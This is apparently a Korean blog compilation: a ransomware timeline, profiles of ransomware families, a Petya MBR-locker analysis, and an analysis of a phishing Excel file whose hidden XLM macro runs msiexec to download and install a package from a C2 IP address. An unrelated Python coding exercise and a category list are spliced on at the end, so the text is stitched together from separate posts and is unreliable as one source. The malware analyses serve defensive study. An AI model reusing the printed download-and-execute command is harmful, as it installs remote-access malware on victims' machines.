[그림 1] Ransomware Timeline

 

1989 year

 - AIDS Trojan

 

2005 year

 - Archievus

 

2011 year

 - Unnamed Trojan

 

2012 year

 - Reveton

 

2013 year

 - Crypt0L0cker

 

2014 year

 - TeslaCrypt & AlphaCrypt

 - Mar. : CryptoDefense

 - Jun. : CryptoWall

 - Oct. : CryptoWall2.0, TorrendLocker

 

2015 year

 - Jan. : CryptoWall3.0, CTB-Locker

 - Apr. : TeslaCrypt & AlphaCrypt, Crpyt0L0cker

 - Aug. : NK_, VO_, TeslaCrypt2.0 (.aaa)

 - Sept. : TeslaCrypt 2.0 (.abc)

 - Oct. : TeslaCrypt 2.1(.ccc)

 - Nov. : CryptoWall4.0, TeslaCrypt2.2 (.vvv)

 

2016 year

 - Jan. : TeslaCrypt 3.0 (.xxx, .ttt, .micro), 7ev3n

 - Feb : TeslaCrypt 3.0(.mp3), Locky

 - Mar. : Crypted, TeslaCrypt 4.0, Cerber

 - Apr. : TeslaCrypt 4.1, 7ev3n-HONE$T, CryptXXX

 - May. : CryptXXX2.0, CryptXXX3.0, UltraCrypter(.cryp1)

 - Jun. : UltraCrypter(.crypz), UltraCrypter(.Random )

 - Ransomware32, SamSam, Petya, KeRanger, Jigsaw, Maktub, PowerWare, ZCryptor

 


 

Erebus Ransomware

 - 복구 비용 : 0.085BTC(현재 2020.04.12 기준 약 70만원)

 - Windows Event Viewer를 이용한 '사용자 계정 제어(User Account Control) 보안 기능' 우회 기법을 활용한다.

 - 감염이 되면, 피해자의 IP, Country를 알아낸다.

 - Tor(익명 브라우저) Client를 다운받아 여러 IP를 경유해 추적이 어렵다.

 - 70개의 확장자를 포함하는 주요한 파일에 암호화를 수행한다.

 - 'ROT-3' 암호화 방식을 사용해서 파일 확장자를 변경한다.

 - 암호화 과정에서 복구 지점을 없애서 복원도 불가능하게 한다.

 - 암호화가 완료되면 경고창, 감염노트를 띄우고 복호화 비용으로 0.085 BTC를 요구한다.

 

 


 

 

 

VenusLocker Ransomware

 - 복구 비용 : 1 BTC(현재 2020.04.12 기준 약 820만원)

 - "안녕 하세요 이창수라고 합니다."로 시작하는 한글 이메일이다.

 - 사내 지침, 회사 지원, 예약 관련 문의 설문지, 교육일정표 등으로 위장한다.

 - '.hwp' 확장자의 한글문서까지 암호화하는 국내 맞춤형 랜섬웨어이다.

 - Wondows OS가 확장자명을 자동으로 숨기는 설정을 이용하여 '***.doc.lnk'의 이중 확장자명이 (*.lnk)가 생략된 형태로 보여 열람하도록 유도하는 방식이다.

 - 감염시 바탕화면을 변경하고, 파일을 .venusp와 .venusf 확장자로 암호화한다.

 


 

Sage Ransomware

 - Sage Ransomware는 전 세계를 대상으로 활발히 유포된 Ransomware이다.

 - '파일 복구 지침' 안내문에 한국어가 추가되었다.

 - 주로 이메일에 첨부된 워드 파일을 통해 유포한다.

 - 파일을 열람할 경우 워드 파일에 포함된 매크로 기능을 악용시켜 감염시킨다.

 - 감염 시 암호화 및 '.sage' 확장자를 추가하고 복구 안내 문구를 출력한다.

 - 추적이 어렵게 익명 브라우저를 사용하고, 윈도우 복원도 불가능하게 한다.

 - 복호화에 신뢰감을 주기 위해 고객센터를 운영하는 것이 특징이다.

 


 

 

 

CryptoShield Ransomware

 - CryptoMix Ransomware 변종이다.

 - Cryptoshield Ransomware는 주로 웹 서핑 중 감염이 된다.

 - Malvertising, Drive by Download 기법을 이용한다.

 - 웹 사이트 방문자가 해킹된 광고 서버를 포함한 사이트 방문 시 CryptoShield Ransomware를 다운로드하고 실행한다.

 - 감염 시 454개의 확장자를 포함하는 파일 암호화를 수행한다.

 - 'ROT-13' 암호화 방식으로 파일 이름을 알아볼 수 없게 바꾼 뒤에 '.CRYPTOSHIELD' 확장자를 추가한다.

 - 윈도우 복원이 불가능하고, 복호화 비용 지불은 해커의 이메일을 통해서만 연락이 가능하다.

 


 

 

 

GoldenEye Ransomware

 - 복구 비용 : 1.33284506 BTC(현재 2020.04.12 기준 약 1,100만원)

 - 이메일의 첨부파일을 통해 감염이 되고, 재부팅이 일어나면 검은 화면이 출력된다.

 - MBR 영역을 감염시켜 정상 부팅이 되지 않아 치료가 어려울 수 있다.

 - 해외직구를 이용하는 사용자는 주의가 필요하다.

 


 

Dharma Ransomware

 - 복구 비용 : 초기엔 2 BTC, 시간이 지날수록 추가 요구(현재 2020.04.12 기준 약 1,600만원)

 - Crysis Ransomware의 변종이다.

 - 감염되면 모든 확장자를 가리지 않고 암호화해 확장자를 '.[worm01@india.com].dharma'로 변경한다.

 - 컴퓨터가 실행되는데 필요한 파일은 예외 처리하고 암호화하며, 암호화 이후엔 원본파일을 삭제한다.

 - 복호화 비용은 바로 알려주지 않고, 이메일을 보내도록 요구한다.

 - Crysis Ransomware의 Encrypt Key는 BleepingComputer Forum에 User crss7777이 공개했다.

 


 

CryptoLuck Ransomware

 - 복구 비용 : 2.1 BTC(현재 2020.04.12 기준 1,700만원)

 - 구글 업데이트 파일의 DLL 하이재킹 취약점을 이용하여 악성 랜섬웨어 DLL 파일을 로드해 실행시킨다.

 - 파일을 암호화하고 확장자를 '.[8자리 임의문자]_luck'으로 변경한다.

 - 72시간 이내에 복구 비용을 지불하지 않으면 복구가 불가능하다고 협박을 한다.

 


 

Hades Ransomware

 - 이메일을 통해 유포가 된다.

 - 감염 시 파일 암호화, 확장자를 '.~HL(5자리 랜덤)'으로 변경한다.

 - 헬프데스크를 운영해 복호화에 대한 사용자들의 질문에 대응을 하는 특징을 가지고 있다.

 


 

Locky Ransomware

 - 복구 비용 : 0.5 BTC(현재 2020.04.12 기준 400만원)

 - 이메일 첨부파일을 통해 추가 다운로드 형태로 유포한다.

 - 시스템 언어가 러시아어인 경우에는 악성코드가 동작하지 않는다.

 - 국내 많은 피해자를 양산했다.

 - 악성 매크로를 갖춘 워드 파일로 퍼진다.

 - 문서를 열면 뒤죽박죽 섞인 내용이 보인다.

 - 이를 정렬하면 매크로를 실행하라는 문구가 나온다.

 - 매크로를 실행하면 록키가 Temp 폴더에 다운로드된다.

 - Locky의 1차 변종인 Zepto, 2차 변종인 Odin으로 계속 패치가 되고 있는 상황이다.

 


 

Cerber Ransomware

 - 복구 비용 : First - 0.75 BTC(현재 2020.04.12 기준 600만원), Second - 1.5 BTC (현재 2020.04.12 기준 1,200만원)

 - 말하는 랜섬웨어이다.

 - 감염 시 파일 암호화, 10자리 랜덤 파일명 및 '.cerber' 확장자로 변경이 된다.

 - html, txt, vbs 파일을 생성해 감염사실을 알린다.

 - vbs 파일에서 "Attention! Attention! Attention! Your documents, photos, databases and other important files have been encrypted!"라는 음성이 나온다.

 - 암호화된 파일은 Cerber Decrypter 프로그램을 구매하면 복구할 수 있다고 안내한다.

 - 먼저 0.75 BTC를 요구하고, 일주일 후에 가격을 두배로 올린다.

 - Cerber Ransomware는 공격하고 싶은 사람들이 개발자로부터 랜섬웨어를 대여받아 공격을 하고, 수익의 일부를 개발자에게 때어주는 서비스형 랜섬웨어 구조이다.

 


 

Petya Ransomware

 - 복구 비용 : 당시 300달러 상당의 BTC

 - WannaCry Ransomware와 같이 SMB 취약점을 이용했다.

 - 컴퓨터의 파일을 암호화하고, 복호화 키를 제공하는 대가로 금전을 요구한다.

 - 정확히 말하면 컴퓨터 안에 있는 파일을 암호화하는게 아니라 NTFS Master File Table(MFT)를 암호화한다.

 - Petya Ransomware에 감염되면 정상적으로 PC를 부팅하는 것도 불가능하다.

 - MBR Locker 형식의 Ransomware이다.

 - 2016.03.29 많이 감염되었다.

원 게시물 : https://blog.system32.kr/178

 

[악성코드분석] Petya 랜섬웨어 분석 - #1 개요

먼저 필자의 환경은 다음과 같습니다. Real Machine Virtual Machine Windows 10 Pro x64 Windows 7 x64 먼저 가상컴퓨터에 Petya 랜섬웨어 샘플을 받아 줬습니다. 샘플의 경우 Github에서 손쉽게 구하실 수 있습..

blog.system32.kr


먼저 필자의 환경은 다음과 같습니다.

Real Machine Virtual Machine
Windows 10 Pro x64 Windows 7 x64

먼저 가상컴퓨터에 Petya 랜섬웨어 샘플을 받아 줬습니다. 샘플의 경우 Github에서 손쉽게 구하실 수 있습니다.

 

압축을 풀고 실행을 해서 어떻게 작동을 하는지 확인해보도록 하겠습니다. (스냅숏은 필수입니다!)

 

Petya 랜섬웨어를 실행을 시켜 보았습니다.

Petya 랜섬웨어가 정상적으로 작동이 되었습니다. 아무키나 눌르라고 하니 아무키나 눌러보도록 하겠습니다.

대략 돈을 아래의 주소로 보내라고 합니다. 이런건 무시하고 분석을 시작하도록 하겠습니다.


먼저 Petya 랜섬웨어의 경우 전형적인 MBR Locker로서 정상 MBR을 악성 MBR로 교체해서 부팅이 되지 않도록 합니다.

샘플 랜섬웨어가 실행된 후의 MBR의 모식도는 아래와 같습니다.

원본 MBR의 내용이 사라지는 것이 아닌, 암호화되어서 0x7200 부분에 존재하고 있습니다. XOR 0x37 연산을 통해서 다시 원본 MBR로 복구가 가능합니다.

하지만 Petya의 경우 MBR만 조작할뿐, 파일의 암호화는 시키지 않고 있기때문에, 파일의 경우 다른 컴퓨터에 연결 또는, 도킹 스테이션, 등등의 방법으로 연결해서 파일을 추출할 수 있습니다.

하지만 이러한 MBR Locker가 진화하여서 파일까지 암호화 할 경우, 더욱 피해가 커질거라고 생각합니다.


분석은 2편에서 찾아뵙도록 하겠습니다. 감사합니다.

 

Sample Path : http://malware-traffic-analysis.net/2019/03/06/index.html

SHA-256 : d65ce03cc8e888c94c5dcb797630db33fb01fbf166b38db09744c115f20150b7

 

1. 개요

해당 악성 파일은 2019 5 국내 기업을 대상으로 한 피싱 메일로 '.xls' 파일을 첨부한 형태로 전파되는 APT 공격입니다. 불과 얼마 전만 해도 랜섬웨어의 비율이 높았으나 근래에는 RAT(Remote Accress Trojan) 유포하는 공격 방식이 활발해졌다고 합니다.

 

RAT?

원격 관리 도구(RAT : remote administration tool)는 원격 조정자로 하여금 해당 시스템에 물리적으로 접근권이 있는 것처럼 시스템을 제어하게 해주는 소프트웨어 및 프로그래밍 모음입니다.

 

 

2. 공격자 정보

2014 이후 많은 대규모 악성 스팸 캠페인이 보인 러시아 TA505 조직이 유포한 악성코드로 추정됩니다.

 

 

3. 유포된 형태

해당 악성파일의 경우에는 국내 기업을 대상으로 한 공격으로 '.xls' 형식의 파일이 첨부되어 아래 그림과 같이 한글로 메일이 전송되었습니다. 먼저 발신지 메일 주소 형태가 의심스러우며, 첨부파일 열람 매크로 활성화 여부를 묻는 것으로 보아 악성 매크로가 내장되어 있는 것을 예상할 있습니다.

 

4. 분석 과정

4.1 매크로 분석

파일 열람  Excel 매크로 허용 여부를 묻습니다. 이를 보아 해당 악성 파일이 매크로 사용을 사용자에게 유도하고 있습니다. '콘텐츠 사용' 선택하게 되면 악성 매크로가 동작하게  것을 유추할  있습니다.

 

 

해당 악성 문서는 엑셀 4.0 (XLM) 매크로 시트를 이용하고, 시트를 숨기는 특징을 지녔고, 최초 배포된 파일과는 다르게 엑셀 매크로에 난독화를 적용하기 시작합니다. 시트 위치에 우 클릭하여 숨기기를 취소하게 되면 숨겨진 시트 하나가 발견이 되며, 매크로 시트임을 확인할 있습니다.

 

 

 

4.2 난독화 코드 분석

해당 시트의 이름 상자를 보면 Auto_Open 등으로 이름이 지정이 되어 있습니다. 만약 부분이 없을 경우 A1 셀의 수식을 첫 번째로 실행하게 되며 세로 방향으로 매크로가 실행됩니다.

 

 

매크로가 단계별로 진행되면서 ‘Macro1’과 ‘Macro2’와 같이 지정된 셀을 호출 분기 흐름이 변경되고, 분기하게 되면 이전까지 실행된 루틴을 저장 후 새로운 콜 스택을 생성합니다. 그리고 해당 열에서 아래 방향으로 RETURN 될 때까지 실행합니다. 그러면 아래와 같이 매크로를 단계씩 코드를 실행하여 분기 흐름을 파악합니다.

 

 

아래의 'A14' 셀까지 매크로가 진행되면 'EXEC( )'라는 개별 프로그램을 실행하는 함수를 이용해 해당 시트의 'A30'셀의 값을 실행합니다.

 

 

'A30'셀에서는 여러 개의 범위 또는 여러 개의 텍스트 문자열을 하나의 텍스트 문자열로 연결하는 CONCATENATE 함수를 사용하여 3개의 셀의 문자열을 합쳐줍니다.

 

 

 

결과적으로 아래와 같은 명령어가 완성됩니다. 이때 'msiexec.exe' Windows Installer 유틸리티의 일부로 msi msp 패키지를 설치 사용됩니다. 과정을 통해 C2 서버에서 MSI 파일을 '%TEMP%' 환경변수의 경로인 'C:\Users\[계정명]\AppData\Local\Temp'위치에 다운로드하는 명령이 수행될 것을 암시할 있습니다.

msiexec.exe RETURN=185 /i http://185.128.213.12/rol1 /q ksw='%TEMP%'

 

 

만약 '콘텐츠 사용' 버튼을 클릭 또는 단계씩으로 매크로를 실행했다면 Sysinternals Suite 유틸리티 중 하나인 process explorer 통해 'msiexec.exe' 프로세스가 EXCEL.EXE 하위 프로세스로 동작함을 확인할 있고, C2 서버로 통신하는 것을 확인할 있습니다.

 

5. 결과

아직 이전에 배포된 악성파일을 분석하지 않았지만 다른 보고서에 따르면 해당 악성 파일은 코드 흐름을 어렵게 하는 것 외에 'EXEC 함수'를 통해 실행하였던 msiexec.exe 프로세스와 전달 인자 정보를 하나의 셀이 아닌 몇 개의 셀로 나누고, 실행 도중에 데이터를 합쳐 실행하도록 하는 진화된 형태가 보입니다.

 

 

 

<참고>
https://ko.wikipedia.org/wiki/%EC%9B%90%EA%B2%A9_%EA%B4%80%EB%A6%AC_%EB%8F%84%EA%B5%AC

https://asec.ahnlab.com/1232

https://isarc.tachyonlab.com/2401

https://seguranca-informatica.pt/flawedammyy-leveraging-undetected-xlm-macros-as-an-infection-vehicle/#.Xo3W7sgzaUl

 

a = int(input())
b = int(input())
 
print(a * (b % 10), a * ((b//10)%10), a * (b//100), a * b)

원게시물 : https://kimbumyun.tistory.com/295

'Development > BAEKJOON' 카테고리의 다른 글

[백준] 10430 - 나머지  (0) 2020.04.05
[백준] 10869 - 사칙연산  (0) 2020.04.05
[백준] 1008 - A/B  (0) 2020.04.05
[백준] 10998 - A*B  (0) 2020.04.05
[백준] 1001 - A-B  (0) 2020.04.05

+ Recent posts